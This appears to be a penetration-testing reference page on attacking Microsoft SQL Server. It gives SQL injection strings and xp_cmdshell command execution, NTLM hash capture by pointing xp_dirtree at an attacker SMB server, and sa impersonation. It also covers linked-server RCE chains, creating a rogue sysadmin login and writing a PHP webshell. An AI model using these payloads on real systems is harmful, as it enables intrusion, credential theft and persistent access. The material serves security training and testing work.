MSSQL (1433)

101

Authentication

Mode
Description

Windows authentication mode

This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.

Mixed mode

Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

Schemas

In SQL Server, each table belongs to a specific schema (e.g., dbo, sales, hr, etc.). If you do not specify a schema, SQL Server assumes dbo by default.

SELECT * from flags;
// ('42S02', "[42S02] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Invalid object name '#flags'. (208) (SQLExecDirectW)")

# Specify the database context explicitly
SELECT * from app.dbo.flags;

Below are the default MSSQL system schemas:

Schema
Description

master

Keeps the information for an instance of SQL Server

msdb

Used by SQL Server Agent

model

Template database copied for each new database

resource

Read-only, keeps sys objects visible in every server database in sys schema

tempdb

Keeps temporary objects for SQL queries

Users

sa is the default administrator-level account in MSSQL.

Syntax

SELECT @@version;

CLI Tools

Alternative to sqlcmd for Linux (-h disables headers & footers for a cleaner output):

sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

If we define the domain or hostname, it will use Windows authentication. If we don't, it will assume SQL Authentication and authenticate against the users created in the SQL server.

# Authenticating with a local account
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

Impacket script:

impacket-mssqlclient <domain>/<user>:<pass>@<target> -windows-auth

Attacks

Context Change

When executing OS-level commands via xp_cmdshell, the commands run in the security context of the SQL Server service account:

>EXEC xp_cmdshell 'whoami';
---------------------------
nt service\mssql$db_public

SQL Server supports executing external R or Python scripts through the sp_execute_external_script stored procedure. These scripts run under a separate runtime and can have different OS-level execution contexts, potentially with higher privileges:

-- Enable external scripting feature
> EXEC sp_configure 'external scripts enabled', 1;
> RECONFIGURE;

-- Execute a Python payload
> EXEC sp_execute_external_script
    @language = N'Python',
    @script = N'import os; os.system("whoami")';
...
compatibility\db_public01

SQLi

q=anger' ORDER BY 1;--
q=anger' UNION SELECT NULL;--
q=anger' UNION SELECT 1;--
q=anger1' UNION SELECT 1,@@version,3,4,5,6;--

RCE

In MSSQL, the xp_cmdshell function allows execution of system commands from SQL by passing a string to the command shell and returning the output as text rows. It operates synchronously—control returns only after the command completes—and runs with the same permissions as the SQL Server service account. Due to its power and potential for abuse, xp_cmdshell is disabled by default and can be enabled or disabled using Policy-Based Management or the sp_configure command. Functions like this, which can lead to remote code execution (RCE), are typically restricted to privileged users, and exploiting them via a SQL injection (SQLi) vulnerability usually requires the use of stacked queries.

# Allow advanced options to be modified
EXECUTE sp_configure 'show advanced options', 1;  
GO
# Update currently configured value for advanced options
RECONFIGURE;  
GO 
# Enable the feature
EXECUTE sp_configure 'xp_cmdshell', 1;  
GO 
# Update the currently configured value for this feature
RECONFIGURE;  
GO
# Use feature
EXECUTE xp_cmdshell '<system-command>';

Hash Capture

In MSSQL, it's possible to capture the SQL Server service account's NTLMv2 hash using the undocumented stored procedures xp_dirtree or xp_subdirs, which leverage the SMB protocol to list directories. By pointing one of these procedures to an attacker-controlled SMB server, the server running SQL Server is tricked into authenticating and sends its NTLMv2 hash. To perform this, tools like responder or impacket-smbserver must be started first, followed by executing a crafted query that triggers the SMB request.

# xp_dirtree
1> EXEC xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------

# xp_subdirs
1> EXEC xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

If the service account has access to our server, we will obtain its hash:

# Capture the hash with responder
$ sudo responder -I tun0
...
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3...000

# Capture the hash with Impacket
# hash stealing with impacket
$ sudo impacket-smbserver share ./ -smb2support
...                     
[*] demouser::WIN7BOX:5e3...000

We can then attempt to crack it or relay it to another host.

User Impersonation

SQL Server includes a special permission called IMPERSONATE, which allows a user to assume the permissions of another user or login until the session ends or the context is reset. While sysadmins can impersonate any user by default, non-admin users require explicit permission to do so. To identify which users can be impersonated, a specific query can be run to check assigned impersonation rights:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
GO;

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)

To get an idea of privilege escalation possibilities, check if the current user has the sysadmin role:

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

As the return value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user. To impersonate a user, we can use the Transact-SQL statement EXECUTE AS LOGIN and set it to the user we want to impersonate:

It is recommended to run EXECUTE AS LOGIN within the master database (USE master), because all users, by default, have access to that database. If a user you are trying to impersonate does not have access to the database you are connecting to it will result in an error.

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

We can now execute any command as a sysadmin. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT.

If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.

Linked Servers

MSSQL supports a configuration option called linked servers, which allows the database engine to run Transact-SQL queries across different SQL Server instances or even other database systems like Oracle. If an attacker gains access to a SQL Server with linked servers configured, this can potentially be used for lateral movement. Admins may configure linked servers using credentials from the remote server, and if those credentials have sysadmin privileges, it may be possible to execute commands on the remote SQL instance.

Identify linked servers from the current server (1 → remote server, 0 → linked server):

# Enumerate linked servers
SELECT * FROM master...sysservers
SELECT * FROM openquery("dcorp-sql1",'select * from master..sysservers')
SELECT srvname, isremote FROM sysservers

srvname                             isremote
----------------------------------- --------
COMPATIBILITY\DB_PUBLIC             1
COMPATIBILITY\DB_CONFIG             0

# Enumerate linked chains
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')

Enumerate the user used for the connection and their privileges. The EXECUTE statement can be used to send pass-through commands to linked servers. The target command is added between parenthesis and the linked server is specified between square brackets:

# Enumerate the user and its privileges
> EXECUTE('SELECT @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [COMPATIBILITY\DB_CONFIG]

# List the linked server's databases
> EXECUTE('SELECT name FROM sys.databases;') AT [COMPATIBILITY\DB_CONFIG]

The executed queries on the linked server will run as sysadmin. Next, database data can be read from any database or system commands can be executed with xp_cmdshell. Sometimes linked servers are cyclical, e.g. DB_CONFIG is a linked server for DB_PUBLIC and vice versa:

// Identify linked servers
> SELECT srvname, isremote FROM sysservers
srvname                    isremote
------------------------   --------
COMPATIBILITY\DB_PUBLIC          1
COMPATIBILITY\DB_CONFIG          0

// Check if the linked server has other linked servers
> EXECUTE('SELECT srvname,isremote from sysservers;') AT [COMPATIBILITY\DB_CONFIG]
srvname                    isremote
------------------------   --------
COMPATIBILITY\DB_CONFIG          1
COMPATIBILITY\DB_PUBLIC          0

In this case, the account on the linked server might have elevated privileges on our current server:

// Enumerate linked server user
> EXECUTE('SELECT current_user;') AT [COMPATIBILITY\DB_CONFIG]
-------------
internal_user

// List privileges on the linked server
> EXECUTE('SELECT name,sysadmin from syslogins;') AT [COMPATIBILITY\DB_CONFIG]
name            sysadmin
-------------   --------
sa                     1
internal_user          0

// List privileges of the linked account on the current server
> EXEC ('EXEC (''SELECT suser_name()'') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG];
--
sa

Based on the above output, internal_user has sa rights on DB_PUBLIC. This can be leveraged for RCE directy using nested queries:

>EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''', 1'') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG]; EXEC ('EXEC (''RECONFIGURE'') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG]; EXEC ('EXEC (''EXEC sp_configure ''''xp_cmdshell'''', 1'') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG]; EXEC ('EXEC (''RECONFIGURE'') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG]; EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [COMPATIBILITY\DB_PUBLIC]') AT [COMPATIBILITY\DB_CONFIG];
...
output
---------------------------
nt service\mssql$db_public

...or by first adding a new admin user on DB_PUBLIC and then using that account:

>EXEC ('EXEC (''EXEC sp_addlogin ''''super'''', ''''abc123!'''''') at [COMPATIBILITY\DB_PUBLIC]') at [COMPATIBILITY\DB_CONFIG]; EXEC ('EXEC (''EXEC sp_addsrvrolemember ''''super'''', ''''sysadmin'''''') at [COMPATIBILITY\DB_PUBLIC]') at [COMPATIBILITY\DB_CONFIG];

For RCE, either xp_cmdshell should be already enabled or if rpcout is enabled (disabled by default), xp_cmdshell can be enabled manually:

>EXEC('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

Write Files

To write file in MSSQL, we need to enable Ole Automation Procedures, which requires admin rights, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

# Create a file
> DECLARE @OLE INT; DECLARE @FileID INT; EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT; EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1; EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'; EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE; GO

Read Files

By default, MSSQL allows file read on any file in the OS to which the account has read access:

# Read local file
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

To Be Added

https://github.com/quentinhardy/msdat

Resources

Last updated

Was this helpful?